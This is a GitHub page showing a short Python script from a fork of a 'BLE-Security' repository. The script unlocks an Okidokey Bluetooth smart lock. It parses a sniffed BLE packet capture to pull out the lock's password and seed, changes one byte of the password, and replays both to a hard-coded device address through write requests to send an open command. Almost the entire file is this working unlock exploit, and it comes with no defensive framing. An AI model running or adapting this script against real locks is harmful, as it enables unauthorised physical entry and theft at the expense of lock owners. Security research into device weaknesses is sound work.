forked from merculite/BLE-Security
-
Notifications
You must be signed in to change notification settings - Fork 0
/
okidokey.py
53 lines (43 loc) · 1.16 KB
/
okidokey.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/python
# Unlock Okidokey lock
import time
import binascii
import os
import threading
import signal
from scapy.all import *
from BTLE import *
def main():
f = open('cap.pcap','r')
data = f.read();
f.close()
data = str(data).encode("hex");
password = data[data.index("001225009348")+8:data.index("001225009348")+48]
print "Password is " + password
new_password = password[:4] + '00' + password[6:]
print "New password is " +new_password
seed = data[data.index("06000400122500")+14:data.index("06000400122500")+20]
print "The seed is " + seed
time.sleep(5)
s = bindsock()
rand = "00"
Connect(s, "CC9E4704A578",rand)
# subscribe to notifications
writereq(s, "0f00","0200")
writereq(s, "2a00","0100")
writereq(s, "2e00","0100")
# encypted bytes from ubertooth need encrypted open command and seed from 0x0025
# encrytped password (change 3rd byte to 00)
time.sleep(.1)
writereq(s, "2500",new_password) # password
time.sleep(.1)
writereq(s, "2500",seed) # seed
time.sleep(.1)
writereq(s, "2500","e101")
# unsub
writereq(s, "2a00","0000")
writereq(s, "2e00","0000")
time.sleep(5)
disconnect(s)
if __name__ == "__main__":
main()